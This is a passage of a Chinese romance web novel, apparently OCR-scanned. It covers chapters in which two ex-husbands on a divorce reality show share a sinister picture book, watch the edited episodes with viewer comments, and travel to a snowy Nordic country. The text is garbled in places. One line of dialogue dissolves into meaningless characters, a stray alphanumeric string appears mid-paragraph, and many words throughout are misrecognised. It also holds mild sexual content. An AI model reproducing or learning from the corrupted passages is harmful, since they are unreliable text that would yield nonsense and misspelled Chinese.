谢景和一眼看到前页还是婴儿形象的王子已经长大了好几岁。 他穿了一身白,黑发黑眼,眸子仿若圆溜溜的葡萄,与众人格格不入,正在用食物戏耍着餐桌底下的狗。 在黑影缭绕的宫殿中,他是纯白色。 谢景和读过许多剧本。 演员的直觉让他下意识地为王子以后的命运捏了一把汗。 谢景和翻过一页,发现画面转为扭曲的鱼眼仰视镜头,王子的脑袋只占据了一个角落,似乎以他为第一视角,描绘出了一个看不到脸的红衣女人形象 女人弯着腰,阴影笼罩着王子,手指枯长,看起来有些恐怖。 很有压迫感。 他低声念着绘本上的文字内容,绘声绘色。 [女巫是国王的第三任妻子,她渴望着无穷无尽的财富,梦想着至高无上的权柄。」 「于是,她对王子说:“我的孩子,请你为我摘一个树顶的金苹果、剥一张平原羊的毛皮、斩一颗勇者的脑袋,你的父亲会很高兴的。"」 「然而,王子只是摇了摇头。」 「他说,」 [“抱歉,我只想坐在树杈上闻闻苹果花的香味,在平原上漫无目的地奔跑,听过路的勇者讲他的故事.…"! [“还有我的小狗朋友,它需要我的陪伴。"! 谢景和念着念着,发现这个故事还是挺治愈的, 起码,王子非常可爱。 他念完王子的台词,毫无防备地翻到下一页。 下一秒。 歹毒的插画映入他的眼帘。谢景和看到,王子的小狗朋友在一口煮得咕嘟冒泡的坩埚里。 而红裙女巫则是又着腰站在一旁,对着伤心落泪的王子,温柔地安慰道:「嘿,亲爱的,我要教你一句拥有魔法的咒语,这样你就再也不会因为失去喜欢的事物而感到难过了。」 谢景和: 133、Chapter 133 谢景和张开的嘴巴猛地合上 这个睡前读物的转折实在是猝不及防,让人忍不住开始怀疑故事结局的性质。他警了一眼躺在身边的黑眼罩男人,决定先翻到尾页提前确认一下 可没等他动作,看似睡着的男人忽然啧了一声。 像在催促。 谢景和急中生智,一边把书夹在臂弯里爬下床, 一边仓促地打着哈哈道:“我先去上个厕所,有点急,你稍等一下。 说完,他一溜烟冲进了卫生间。 谢景和用最快的阅读速度翻完了薄薄一本故事书,一颗心随之沉了底-一他盯着尾页的跨幅插画,学会了魔法咒语的王子忘记了花香、不再离开城堡、也不再怀念自己的小狗朋友 老国王的葬礼上,他一身黑,脸上什么表情都没有。 继承了王位的王子将所有人驱逐,包括教会他魔法咒语的女巫,无数声咒骂化作黑烟缠绕在他身边,可他熟视无賭,任由长满尖刺的荆棘疯狂蔓延,覆盖了森林小径,还爬进了城堡 年轻的国王独自坐在首座,手里握着一颗空荡荡的黑色心脏。每当他念一句咒语,魔法就会变得更加强大。 魔法包裹着心脏。 一让它不再受伤。 谢景和尝试跟着念叨了一句故事里所谓的“魔法咒语”,心底忽然涌现一股极为压抑的情绪,仿佛整个人被压缩在很狭窄的空间里,始终寻不到出路,由此滋生出另一股莫名的愤怒和怨恨。 原来真的有魔法啊。 谢景和庆幸地呼出一口气。 …还好刚才没有傻傻地往下念。 难得气氛这么好,他可不想蔺川做噩梦。 时蔺川快睡着了。只不过,这栋建筑过于老久,卫生间的木门在推拉之间会发出吱呀的声音,尖说又刺耳,还带了几分诡异,一下子将他吵醒了但他没有动弹,也没有出声。 一阵轻微的脚步声之后。那个在卫生间里蹲了半天的人似乎踢掉了拖鞋,跪在床边,动作缓慢地想要从他身上跨到里侧。时藏川不经意地动了动,将他绊倒,感受到压在自己身上的半边身体,熟练地倒打一耙。“谢景逎砵覯诼鎏族柌气騍芤赆韪攘香昣梵艳玠度讜嗼徫粬陈踩死我?"身上那人不语,只是轻轻爬开,钻进被子里,然后伸手在他肚子上揉了两下,小声问:“我不是故意的,那你有哪里被我压痛了吗?"说着,谢景和的手已经自动寻路般地往下探了探,还顺手帮他调整了一下位置 时蔺川:“ 这个臭流氓。 不等他再出声刁难,时蔺川倏然听到一道纸页翻动的擦响,只好收回了即将脱口而出的垃圾话,下一秒就听到谢景和操着一口温润的嗓音娓娓讲述着不着调的童话故事。 他的腔调很轻,阅读时莫名有些磕绊。时蔺川忍受着谢景和糟糕的断句,终于听到了结局。“最后的最后,王子成功逃离了荆棘王国。“其实他不喜欢冰冷冷的王冠,也不喜欢学习魔法咒语。于是,王子牵着自己的小狗朋友躲进了下一个春天,他们漫山遍野地奔跑,度过了平凡又快乐的一天。“正如往后的每一天。” 屋子里安静两秒。 时蔺川忽然切换成侧躺的姿势,半张脸埋入纯白的枕头里,洗过的黑发没有经过打理,显得很柔顺,被棉质布料蹭出些许静电。 谢景和忍不住伸手摸了一下。 指尖冷不丁地触电,一路电到了心脏。 而男人将脸往枕头里藏了藏,不满道:“少乱摸。”他稍微停顿了两秒,又无情地点评道:“我还以为听睡前故事能多有意思呢,结果就这? 他继续说: “不仅毫无逻辑,还干篇一律。” "…真无聊。”谢景和心虚地合上了绘本,然后理直气壮地说:“这是童话故事,最重要的是主角过上了幸福快乐的生活,讲太多逻辑干嘛?男人冷哼一声。“就你会信。谢景和将书册放到了墙角的位置,然后抽出腰后的枕头,展开长臂重重一挥,直接把电灯拍暗。“时小朋友,晚安。” 他将枕头留在了外头,自己却缓慢地蹭进了被窝,再度跟男人分享着同一个枕头。对方大概是觉得他太挤人,接连发出了好几声很不耐烦的语气词,谢景和置之不理,还把脚架了上去 时蔺川快被烦死了。 只是夜太沉,他确实困得不行了。 很快。时蔺川真的睡着了。或许是故事里的某个字眼作崇,他久违地做了个梦,梦里是遥远到微微泛黄的记忆。梦中的他穿上外套从窗户翻下二楼,一口气跑到后花园的某个角落,冲着灌木从里嘬嘬两声只头大胳膊短的黄皮小土豆从灌木丛里挤出来。紧接着,他将那小小的一团塞进外套口袋里,翻越了近两米高的围栏,拔腿奔向未知的远方,一路又喊又叫,头也不回地撞进了下一个季节,像是赶赴一场期待已久的约会 天是淡粉色。 有个戴着帽子和口罩的人坐在长椅上,正百无聊赖地踢着脚下的石子,仿佛已经等待了很久,很久. 他远远地看着那个人,本能地觉得快乐,又不可抑制地感到悲伤。 快乐总是很短暂,悲伤却又太漫长。 时蔺川这一觉睡得异常酣畅,醒来时却发现时间尚早,窗外的天仍是灰暗的,启明星还没有坠下天际,而谢景和挤在在他怀里,呼吸声听起来均匀又绵长。他闭着眼,睫毛很长。在睁眼的瞬间,时蔺川就已经将昨夜做过的梦忘了个干净,只觉得现在整个人轻飘飘的,宛如酒意微醺,恰巧的是,此时的,感受像极了两人三年前的初夜。他控制着饮酒量,对迷蒙的谢景和极尽索求和粗暴。当翌日清晨到来,他先一步苏醒,这人也是这样缩在自己怀中,似亲密恋侣明明才第一次见面,就搞上了床。那时候,他凝视着谢景和的脸,在心中无声地诋毁和贬低。 强 笔 活真烂。 便宜货色 时蔺川不在乎事实如何,只是冷漠地把自己所能想到的所有恶劣词汇往谢景和身上堆砌,然后理所应当地想着 他果然很讨厌这个人。这个想法,至今没有改变。时蔺川抬手拨弄了一下怀中之人的长睫,又忍不住往它轻轻吹了一口,让它像是振翅蝴蝶一般扇动起来。谢景和大概是觉得痒,下竟识地伸手想要搭脸,时川当即模住那只手的小臂,飞快警了一眼腕间的纱布,然后将这只手轻柔地放到了自己的颈间,以作支撑最后,又亲自吻去对方眉睫的痒意。 谢景和果然就此安静下来。 就在这时候。 时蔺川的视线擦过谢景和的脸,警见他身后的那本书册,忍不住将它拎过来,借着此时昏暗的环境,随于翻了几页。 他看到了一个截然不同的故事。 跟谢景和昨晚所描述的完全不一样。 扭曲、黑暗、隐喻众多。 而时蔺川对此感到分外熟悉,甚至能将其中隐喻与自己的人生轨迹-一对应,尤其当他看到那句被黑色荆棘台词框包围的魔法咒语 时蔺川猛地将书册合起来,心中瞬间有了怀疑对象。 他很少见地主动在脑内频道呼唤系统,语气里像是藏了千百根针,要将某个看不见摸不着的聒噪东西扎成筛子。 “系统,解释一下。" 系统空间内。 白色光球做作地伸了个懒腰,从容地重新躺下时蔺川唤了两次,久久没得到回应,就知道系统不会露头了。他冷冰冰地注视着这本单薄的童话书,不自觉地想起作晚谢景和胡编乱造的那些无聊句子,眼睛气得微微发红,忍不住咬牙切齿地骂了一句。 “9子!” 话音刚落 骗子在他怀里迷迷糊糊地睁开了眼睛。 "蔺川?” 闻言,时蔺川将手上的东西往地上一丢,怒不可遏地按住谢景和的肩,把他往被子里拖,然后恶狠狠地制着人,将他吻到近乎窒息。 谢景和从半梦半醒中惊醒,艰难地吐着字。 “蔺.唔" “闷." 他的两条腿忍不住一个劲儿蹬着床单,像是一个因溺水而缺氧的受害者,手却舍不得推开身上的男人,仿佛抱着救命的游泳圈,结果就是险些被对方吻到崩溃流泪。 褪下伪装的男人总是如此。 热衷于让他露出狼狈不堪的模样,并加以品尝。 半晌。 谢景和趴在男人的肩头,觉得自己快要死去。 大概是死于窒息吧? 被子里氧气稀缺,但是谁也没有掀开被角,反而嵌合在一起,时川一下下地摸着他的头发,指尖带电,嗓音带着晨起的沙哑,"等下自己把裤子换下来,放盆里。 “谢景和,丢死人了你。” 听到这话,谢景和下意识地蜷缩起脚趾,小声地反驳:“这是男人的正常表现,而且我本来不会这样的,都是因为你 时蔺川不动声色地哦了一声,反问:“就因为亲了几口?" 谢景和: 那是亲吗? 那是谋杀。 没当场尿出来,都算他意志坚强了。 收拾妥当之后,天也亮了。好在距离开播的时间还有一段距离。时蔺川刚从天台下来,正巧撞见谢景和正蹲着身,将地上那本故事书捡了起来,还拍了拍灰,想要重新塞进背包夹层里。"扔了。” 他的脸色瞬间冷若冰霜,强硬地命令道。谢景和抬头看了男人一眼,很纳闷地反问:“这本书很薄,放包里不占位置啊,而且为什么要扔?"时蔺川不想跟他闲话,直接两三步走上前,从他手里夺过书册,砰的一声砸进垃圾桶里。 “没有为什么,让你扔就扔。" 忽然想到什么,时蔺川的脸色稍缓了两分,语气也放软了。 他补充道,”….乖,听话。 谢景和很惊讶地盯着男人,嘴巴微张,但很快他就恢复了表情,盯着垃圾桶里的东西,闷着声儿,有些不开心地问道: “你为什么突然丢我的东西?" 时蔺川陡然无言。 半晌。 男人应道: “才不是你的。 那是他的 134、Chapter 134 预告片很短,只有一分钟。 开场便是一段快切镜头,六位嘉宾的表情特写耐人寻味,随即画面一黑, 节目组导演的旁白骤然响起,“你后悔过吗? 话音刚落。 镜头切入一个全景。 星夜浩荡,海岸平坦。热烈的篝火宛如一簇妖艳的红莲,于沙土中绽放,不远处竖着一杆红绿灯。六位嘉宾站在火光中,脸上仿佛覆了一层赤色的纱,神情很朦胧,看不分明。镜头外, 导演继续问话: “今晚是我们在这里停留的最后一个晚上了,经过本周的相处,各位嘉宾的心意是否有所改变?如果现在再给你一次选择的机会 说活间,画面闪切图过去几天里,三组嘉宾吵架或闹分细的冷硬国面一一编剧段非文独自网在杂物间,摇滚歌于许悠在外面疯狂前门,表情不虞;两位前辈同住一屋,却将对方视若空气;身形高挑的男人摔门而去,独留伴旧在屋子里 翻垃圾桶。 【???】 【影帝你在干什么啊?】 【好多我没看过的画面啊![发出感叹]】【不是,节目组什么时候搞了个篝火聚会?我一个全程蹲守直播间的人怎么不知道?红绿灯还升级了,一副要搞事的样子。】【我也没看过这段。】 【应该是晚上十点之后的行程。】 【哦哦哦, 看来新增内容好多!!】 几秒后。 画面又切回来。 视频里响起一段鼓点急促的音乐。 各组离婚伴侣面对面站在红绿灯下,随着导演讲解规则的声音,他们即将做出或停下,或转身离开的决定而这次选择将影响到下一周的安排。预告片时长有限,稍纵即逝。最后几秒,镜头移到各组离婚伴侣的小腿以下,似乎正要揭露嘉宾们的答案,不等观众看清,进度条已然走到了终点,"咚!" 一个大鼓点落下。 视频结束,自动跳转到下一个广告界面。 许多观众滞留在评论区,讨论得热火朝天 【可恶,别让我知道剪辑是谁.!!】【太会吊人胃口了,等首周的片源更新之后,我要第一时间去看这几个人在直播间以外的时间里都做了什么![握拳]】【不知道其他人什么情况,但影帝在翻垃圾桶。 【噗】 【直播间里没这段哈哈哈哈哈哈!】【节日组是懂取名字的,《你为什么不开心》又名为《谢粉为什么不开心》哈哈哈哈,六个嘉宾里就属他跟他男人最有争议,红得发黑,黑得滴山。尤其是时老板自曝手机定位部里,就算没有粉籍,普通现众也都被震惊到了。】【最震撼的是,影帝也跟着自曝了。】【史密斯夫夫[大拇指]】【你们以为只有观众震惊吗,我心疼旁边两组嘉宾,表情都失去管理了。真的没想到当事人淡定得一批,围观群众汗流浃背。】【许悠的表情包好出圈,一周怒涨七十多万粉。】【大爆笑,谢游和部分路人完全接受不了这种响形蛋因,同开描就建了个超话,还天天打卡,就叫做“午时组今天离婚了吗?”,没想到这两人莫名其妙吸了一批4p粉,疯狂产浪,又吸纳了好多路人粉,队伍愈发壮大,现在两拔人就快要打起来了.….笑吐了都。】【我也一样,每天在直播间吃完离婚嘉宾的瓜,就去超话吃节目外的瓜,美滋滋。这节目实在太有意思了,cp粉产出的同人小说也超级美味!香晕了!】【啊,慕名看过,巨香[以小声]】【你们在说什么东西??】 【怕被骂,楼下你来!】【我不怕挨骂,我来![举手]】[点击时道水p超话,里面有篇顶置的精华热文,是个口为九千万的小姐妹写的,文名为《很你入骨》,故事大概就是阴暗信执大老板对爱影帝骗身骗心,将其玩弄于股掌之间,疯狂做恨,重点是小说里的影帝超级妖妻哈哈哈,天天以泪洗情节超级炸裂,肉也超级香。】旬,【你的发言我喜欢,你的私信记得关。】【明晚就能看首周的剪辑纯亨版了,我已经预感到明后天热搜能有多热闹,追完综艺还要追衍生节目,真刺激。[狗头]】【打!起! 来!】【】 翌日,12月29日。 晚八点。 网播平台准时准点放出上下两期节目。 尽管部分画面已经在直播过程中曝光过,但观众人数只增不减,平台后台显示的点击量飞速飙升,弹幕的数量更是一秒一变。 全民热议,万众瞩目,不外如是。 由于今天是网播日期,再加上节目组和离婚嘉宾需要更换场地,进行下一周的拍摄,而洗江与下个站点的路途格外遥远,需要耗费不少时间,所以.…. 29号这天,直播间并未开启。 这是营销的策略之一 其目的是为了让流量聚集于网播平台。除了营销需求,节目组也考虑到嘉宾们昨晚录制到凌晨一点多,所以今天非常照顾众人,一路保驾护航,并没有安排移动摄像机跟着他们活动。立三次家新一一了 所幸他们用不到。 当观众正在观看剪辑版综艺的时候,时蔺川跟其他嘉宾,以及节目组的工作人员已经在飞机上坐了七八个小时了。 节目组包下了整架客机。 翼形机器挣脱了地心引力,将一肚子的人平安地送出国门。 最终地点是北欧版块上的旅游小国。 多丹。 这一回,时蔺川坐在靠窗的位置。 谢景和坐在他旁边,双日紧闭,一副睡熟了的模样。 睡熟了才怪。 发脾气呢。 昨晚就不理他了。时蔺川扭头警了这人一眼,实在闲得发慌,便开腔找茬道:“从上了飞机就睡,除了吃饭上厕所就没见你睁过眼,谢景和,你猪啊?"被指名道姓的人假装没听见,脑袋往过道的方向一偏,嘴巴没张一下,意思倒是清清楚楚地表现出来了。不想跟你说话。时蔺川的时支在扶手上,手掌拖着自己的下巴,姿态慵懒随性,说话的语调也很轻悠,“不就是在咋晚的加选环节里又选了红灯么.……,我每天都选离婚,你早该习惯了吧?"“甩什么脸,我又不会哄你。” 听男人提起这件事,谢景和的睫毛飞颤.他忍了忍,实在没忍住,唰地一下睁开眼睛,对男人怒目而视,声音里是藏不住的生气和都闷,“你为什么非要那么选?是不是又在故意气我?导演说下周只有我们两个要分开住了!"时蔺川听谢景和跟机关枪似的说了一通话,仿佛找到了解闷的余兴节目,不急不缓地应道:“所以呢?你就这么想跟我睡一张床上?" “你几岁啊?"谢景和继续瞪他。以往被无数粉丝和影迷夸了又夸的深情眼被两簇小火苗填满,看起来格外灼热,隔空烧到了男人的脸上。什么眸光柔情似水,深情如溺.分明被他气得快跳起来了。时蔺川满意地挨了足足两分钟的眼刀,而后施施然地提议道:“那你给我表演一个当场落泪,求我陪你睡,我就考虑找导演通融一下。说完,他还催促道:“快点。 当然是假的。 随口骗骗这个人而已。 他只是太无聊了,需要找个乐子打发时间。时蔺川如此想到。可惜谢景和这段时间被男人溜了数次,终于生出了些许警惕性,…不要,你肯定又在要我.不再轻信他的话,狐疑地盯了时蔺川半晌,闷声拒绝道 时蔺川:“。 好像变聪明了。 时蔺川没有任何道德负担,很坦荡地说:“把我想得那么坏?我偶尔也会对你说几句真话吧。 谢景和还在瞪他,表情无语。 飞机舱体内的温度舒话恒定,整个机舱都是节目组的人,四周时不时响起细碎的声响,这个角落却有种别样的寂静。 仿佛自成一个小世界。 时蔺川迎着谢景和的视线,与他四目相对数秒,嘴角那抹得意洋洋的笑容不自觉地收敛了些许. 很轻微,很缓慢。 几乎没办法用肉眼察觉然而,就在时菌川想要管过脸,继续凝视小窗外头那片无垠的暗色苍言之际,跟他视线交融的这个人表情未变,眼眶却微微的红,豆大的泪珠一下子从他眼睛里掉出来,擦过面颊,砸碎在他自己的衣领啪嗒。啪嗒啪嗒。 谢景和面无表情地流了满脸泪,像是坏掉的水龙头 水色吸着光。 光汇聚在他的瞳孔。 时蔺川凝视着融于对方眼底的水光,面上的神情还是重归平静与淡漠。可他却不自觉地换了个姿势,整个人靠到椅背上,久久地盯着谢景和,以及谢景和流出来的眼泪 眼神专注,且兴奋。 他缓慢地道: “接下来,你该求我了。” 谢景和很干脆。 “求你。" 时蔺川挑了挑眉,反问: “哦,求我什么?" 话音刚落。 在洗江的第五天,他右手腕的软组织挫伤终于恢复,再不用麻烦男人给自己喂饭了,他灵活地翻转着手腕,四根手指头朝掌心方向弯折.…谢景和默默抬起了右手他冲时蔺川比划了一个很不雅的手势。 “求你做个人吧。 众所周知,[生气]不会消失,只会从一个人的身上转移到另一个人的身上。时蔺川臭着脸,反瞪着身旁这个举止不雅的人,十分宽以待己,严于律人地骂道: 时蔺川:"” “谢景和,你他。的从哪儿学来的坏习惯! 两人很快打成一团。 135、Chapter 135 长途飞行很容易让人感到疲劳 幸好在过去几年的留学生涯中,黎焕早习惯了长时间空中飞行,再加上当前的工作还算清闲-一作为随行医生,他跟组一周时间,只为其中一位嘉宾治疗过手腕脱白和扭伤 不严重,预计两天就能痊愈。 然而对方手腕上的药用纱布缠了四天,才拆了下来, 黎焕偶尔旁观录制现场,觉得这档节目确实有些意思,自己也不算白来一趟。 此时此刻。在大部分工作人员争分夺秒地休憩,养精蓄锐之时,他的状态出奇良好,甚至很有闲心地用电纸书阅读起学术论文,一行行英语原文长句子底下,是更繁琐的注解。半个下午的时间悄然流逝。黎焕感到眼睛干涩,便将眼镜取了下来,做了一组眼保健操。身边同座的小年轻像是累坏了,一动不动地睡了一下午。他拾手看了眼腕间手表,思量几秒,先是将电纸书收了起来,并把座椅上方的小灯关掉,让对方能够安然休息,然后从随身小包里取出手机和耳机,指尖轻点打开了当下大热的视频平台。首页开屏广告,正是黎焕随行的这档离婚综艺,他带着淡淡的好奇,点了进去。 整整一周的素材压缩成两期视频,综艺的节奏极快,每一个片段都截取于三组离婚嘉宾在相处中最为突出的言行,此外还通过后期手段增加了许多固定摄像头的补充注解,让节目的观赏性更上一层 下期视频,重点剪辑了嘉宾在洗江最后一日的行程。 也就是昨天。 在导演的要求下,嘉宾们需要“互换身份渡过一整天,通过模仿伴侣的性格与言行的方式,让彼此都能体会自己在婚姻生活中,给对方带去的感受,算是一种很温和的心理疗愈方式. 同时,也很抓观众眼球。 视频里的时间已是傍晚。 天色黯淡。 场地布置得很好看。 按照节目组的要求,三组嘉宾化了上午和半个下午的时间做任务换取积分,然后用积分兑换生鲜食材,又花了许多时间外理食材,亨饪菜品,最后带着餐会在老榕树集合,进行晚间聚餐环节 半敞开的帐篷挡着风,众人围坐着,桌上菜色丰富,有美食,也摆着几道暗黑料理。 帐篷顶端接了一盏瓦数很高的灯泡,将棚下的人与景映得很亮,而星星形状的彩灯缠绕着支架与边沿,仿佛一道道从天际滑落的流星群。 星光撒在众人的脸上,身上。 很好看。 黎焕欣赏着手机里的画面,充分感受到什么叫做术业有专攻,弹幕也在赞叹着视频营造出的氛围感,让人不由自主地投入其中。 经过一整个白天的时间,几组嘉宾已经闹出了不少笑话。 尤其是年轻的日出组,贡献了当天最招人发笑的社死画面;黄昏组则是借着这个机会,言辞犀利地暗讽对方,火药味十足却不失涵养,让观众欲罢不能 而讨论度最高的,仍是午时组。 男人刚伸出筷子想要夹菜,身旁的伴侣登时冷哼一声,面色冰凉地斜睨道:“在外面这么积极干嘛?到时候可不要因为手伤加重,连家我多照顾你几天。 说完,他还补充一句, “我真的快被你烦死了!" 神情和语气都模仿得活灵活现。 话音刚落。 桌上另外四人持着碗筷看戏,弹幕亦然。 男人面无表情地回看,沉默数秒后,将筷子放回了自己的碗沿,指明要吃桌上的某一道菜,然而伴侣却调转手腕方向,灵活应用长筷,从装有青椒炒肉的盘子里 精准地夹出一片青椒,递送到男人嘴边。 男人表情未动,眼神寒冷,嘴唇抿得很紧。 见此情景。 “吃青椒对身体好,”伴侣举着筷子,催促道,“你都几岁了,还挑食? 男人的眼刀犹如实质,仿佛能直接戳死人。 他就这么臭着一张脸,将嘴边的绿色蔬菜吃了进去,没嚼两下就吞进了肚子里,对方却还持之以恒地挑刺道:“我平时对你的脸色有这么差吗?你是不是想借机抹黑我的形象? 男人: 当视频播放这一段的时候,弹幕已经乐翻天了 【哈哈哈哈好一个阴阳怪气挑刺男,影帝简直跟鬼上身一样。所以说,你们这不是!超级了解对方吗!】 【笑死,故意夹人家不喜欢的菜,是如实模仿还是夹带私货?严重怀疑影帝是借机报复哈哈哈哈。】 【那不一定。素人哥是真能干出这种事儿。】 【点了。】 【他o的我要笑死了,节目组太擅长搞事了!!】 屏幕前的黎焕也忍不住勾起唇角,无声地笑了, 待众嘉宾吃饱喝足,镜头外的导演有承担起了旁白的职责,对每组离婚伴侣进行提问,引导嘉宾畅聊自己的婚姻生活。另外两组的话很多。午时组却沉默下来。谢景和安静地听着桌对面的几人侃侃而谈,眼神里偶然闪过迷茫和疑惑,时不时扭头看向身边的伴侣,动作隐蔽,但被摄像机如实地拍下来,又被后期放大圈出。男人也没有加入聊天,盯着挂在帐篷上的星星小灯,状似发呆,仿佛完全没有察觉到伴侣的视线,独自成一世界看起来很''同床异梦’的画面。只是弹墓来不及感慨或感伤,后期便很调皮地打出一行花体字,并再次通过放大红圈的剪辑技巧,转接了安装在桌下的固定摄像头拍下的画面。 桌下。男人的手轻轻拽着身边人的外套下摆,久久没有放开,他手掌很大,手指修长且骨感,很性感。做出这一稍显依赖和可爱的动作时,搭配他那张没什么表情的冷脸,看上去极具反差。下一秒。后期剪辑适时插|入另一个片段,是男人在前面走,伴侣在他身边或身后揪着他衣摆的画面,次数颇多,是直播间观众撞见的数倍。 果不其然。弹幕尖叫成一片。【啊啊啊啊,再也不嘲笑素人哥没演技,演影帝一点都不像了,这不是演得超级传神么!!】【好熟练】【哇靠,之前还觉得这对太炸裂了,铁定离,现在emmm你们夫夫真的别太默契了,这个环节就这俩儿悄摸摸在秀,说,是不是领剧本了!】【啧啧啧,有些人看似貌合神离,私下又是偷看又是拽衣角的,根本分不出来是不是演的,还是你们私底下就这样??[指指点点]】【胆子大一点,私下可能更过火。】 【朋友们,待会儿超话见!】 很快,镜头一切。 这场互换游戏终于落下帷幕 时间也临近晚上十点了。 桌上已经收拾干净,摆上了观众们很眼熟的红绿灯道具,嘉宾们人手一块小白板和马克笔。 这时,导演的旁白音响起. 请各位嘉宾给自己今日对伴侣的演绎打个分,如有扣分,请说明扣分理由。 “现在请大家闭上眼睛,回想伴侣在过往生活中的表现,再想想自己今天的演绎,是否因为个人情绪,刻意放大了对方的缺点,却遗忘了对方的优点呢? “好,睁开眼睛,诚实地给自己打个分吧。 三组嘉宾依次向镜头展示自己的白板,并加以解释。 很快,轮到午时组。 男人翻转板子,露出一个很洒脱的罗马数字。 他毫不心虚地给自己打了个一百分,并丢了一个很坦然的眼神给身边的伴侣,就见对方紧跟着翻转板子,露出上面的数字。 满分一百,他扣掉了十分。 导演问他原因,他用板子挡着脸,只应道: “感觉自己某方面演绎得不是很到位,所以扣了一点。 导演追问:“具体是哪方面呢?" 沉默了近十秒。 他说,"不够霸道。闻言,男人冷哼,却也没反驳。这轮打分环节结束,就是每日晚十点的按灯环节了。这一段的剪辑手法很简洁利落,画面被分成了六格,同步展示着每位嘉宾的选择。五人按下绿灯,不想离婚。只有一个人按了红灯。突兀、抢眼、格格不入。 【???】 【七天了,七天都是红灯!】【影帝的表情好平静,一点也不意外。】【我也不意外,这一幕早就在直播间里看过了,不过看预告,当晚还有一个二次选择环节,进度条还剩二十分钟,撑住!】弹幕刚划过屏幕,视频便换了一个场景。正是预告片里的篝火沙岸。观众这才发现,篝火的不远处还支着一块巨大的投影幕布,搭配着此时幽深孤寂的临海场景,以及泛着融融红光的篝火莫名有种世界即将末日的寂静感。嘉宾们坐在垫子上,幕布开始播放影像。居然是参演嘉宾提供的,过去的影像。在欢笑、在拥抱、在赤诚相爱。 倏然间,画风一转。 幕布又开始播放嘉宾们在正式开拍之前的采访片段。 是痛苦、是不解、是背道而驰。 【我靠,过期糖,今日刀!】 【节日组真的用心了,看得我都泪目了。】 【有点难过。】 【未婚,单身,现在对婚姻产生了好多思考】 【素人影帝那对,我的天,合照真的好甜,两个人都笑得好开心,尤其是素人哥,眼睛里的温柔都快溢出来了,怎么搞成现在这样] 【前后一对比,真的好刀啊。】 不多时。 投影幕布重归黑暗。 导演在镜头外提问,并提供了二次选择的机会。 在接下来的环节中,六位嘉宾两两一组,手拉着手往十米远的杆状红绿灯走去。 短短的路程,似乎指代了伴侣之间共同走过的人生路途。 而选择绿灯的嘉宾继续往前走,选择红灯的嘉宾则停下脚步,颇有种“我只能陪你走到这里’的意向, 三组离婚伴侣同时出发. 画面也随之切为三部分。 镜头来回切换,音乐鼓点躁动不安。 最先揭露的是日出组。 两个年纪不大的青年双双红着眼,往前走。 其次是黄昏组。 两位前辈默契地在红绿灯旁停下,对视时, 两个人微微一笑,眼眶里扇动着品莹! 136、Chapter 136 这期节目播放完毕, 国内时间已近凌晨十二点, 然而,当飞机携带着整个节目组与嘉宾跨越半个地球,降落于北欧板块上某个充满异域风情的小国之时,因时差缘故,太阳才刚刚坠下地平线,鎏金光色酒满街道,将覆盖万物的雪也染成了暖色。 下午五点多。 多丹, 奈尼奥机场. 在下飞机之前,工作人员提着喇叭提醒所有人穿戴好帽子围中,室外温度已是负数,尤其多丹从十二月初便入了冬,连续下了一个多月的鹅毛大雪。 外头俨然是个冰雪世界。 机场出口。 提前在多丹筹备当周拍摄的工作人员准时过来接机,还安排了数辆巴车,将大部队拆分成几个小队,把众人与随行机器送到此后几天的室内拍摄场地。 嘉宾们及其跟拍、导演组、随行医生被安排上了同一辆巴车。 时蔺川和其他嘉宾坐在车厢后半截的指定位置,椅背上早就被安装上了固定摄像头,有工作人员正在对几人进行本周拍摄前的多人采访。 期间,他的视线擦过隐约从车前座位露出的半个脑袋,忍不住想起了前不久发生的事情-自己跟谢景和缠闹,不甚被对方推压在椅子上的时候,忽然听到身后响起一道东西翻倒的声音 谢景和忙不迭地扭头回望,下意识地道了声歉。 “没关系。" 后座的人很快作出回应。 听到这道清朗的嗓音,时蔺川的动作慢了半拍,回过头,果然看到一张让人印象很深刻的脸 是谢景和的真爱正攻。 男人面容俊秀,鼻梁直挺,镜片下的眼眸看上去亲和力十足,衬得他气质温润如玉,一言一行皆优雅,宛如君子典范. 像是想到了什么,他推了把眼镜,抬眸问谢景和,“谢先生,你的手没事了吧?短期内脱白最好休息一段时间,注意保暖,尽量避免进行剧烈活动。 刚才整个人可以用''生龙活虎’来形容,勇猛地将丈夫按在椅子上的谢景和,沉默地移开了视线,” 说完,温润男人又朝坐在正前座的时蔺川露出一抹笑,同时点了点头,打了声招呼:“时先生。 时蔺川回赠对方一个礼貌性的假笑。 “好巧,又见面了。 温润男人歪了歪脑袋,思量片刻,浅笑着说: “嗯,不过我希望之后不要再跟你们遇见了,”他顿了顿,继续道, “毕竟我是医生么,在行程里见到我可不是什么好事” 很明显,他开了个玩笑. 而在场的所有人都不知道 在不久的将来,这句话一语成谶,犹如预言。 不过这都是后话了。 时间回到现在。 巴车在宽广的街道上开了一个多小时,一路穿过市区,终于在某独栋的临郊别墅前停了下来. 白雪皎洁,红房子有三层楼高。 “哇,这周的合宿条件也太棒了吧!"下了车,许悠提着行李箱,忍不住环视一圈,仰头感叹道,“附近就是大森林和雪山,风景直好,对了,这个季节好像可以看到极光 相比上周,本周三组嘉宾将一同生活在这栋观景别墅中,居住条件直线飙升,也不必再为日常饮食费劲了, 一紧一松。 嘉宾们的心情随之舒缓下来。 除了谢景和。 作为上周唯——对做出不同选择的离婚伴侣,他跟时蔺川被分配到了两间房,一间极左,另一间极右,中间隔了长长的走道,需要穿过好几个房间的距离。 时蔺川的房间就在楼梯旁的第一间。 他最先停下脚步,还来不及开门讲屋,余光警见谢景和三步一回头地往走廊深处走去,待众人都进了屋,他还远远得朝自己看过来,仿佛一个陷入热恋的年轻人。 两人对视片刻。 时蔺川倏然抬手,冲那人挥了挥。 像是赶人。 然而,下一秒。 谢景和抬起双臂,两手高举过头顶,朝他比了个巨大的爱心。 时蔺川:“".” 股热烈的、明艳的爱意袭来,他只是狼狈地撒下脑袋,手中那把刻意做旧了的钥匙对准锁子戳了好几下,才戳进去,底下的铃铛挂件发出叮铃叮铃的声音,似乎正在无情地嘲笑他,不多时。待众嘉宾收拾完各自的房间,又在别墅里逛了一圈,外头的天色已经彻底暗下来了,节目组为大家提供了一顿格外丰盛的晚饭。所有人吃得畅快。6号U汞A长主LHH/O心H3不网A18-13饭后,众人简单寒暄一阵,默契地回屋休息。 时蔺川亦然。 只是夜半时分,平躺而眠的男人忽然听到屋子里响起一阵很细微的声响,像是动物肉垫踩在木质地面,声音很闷,不易被人察觉. 紧接着是悉悉索索的脱衣声。 很快。 具微凉的躯体钻进了被子里。 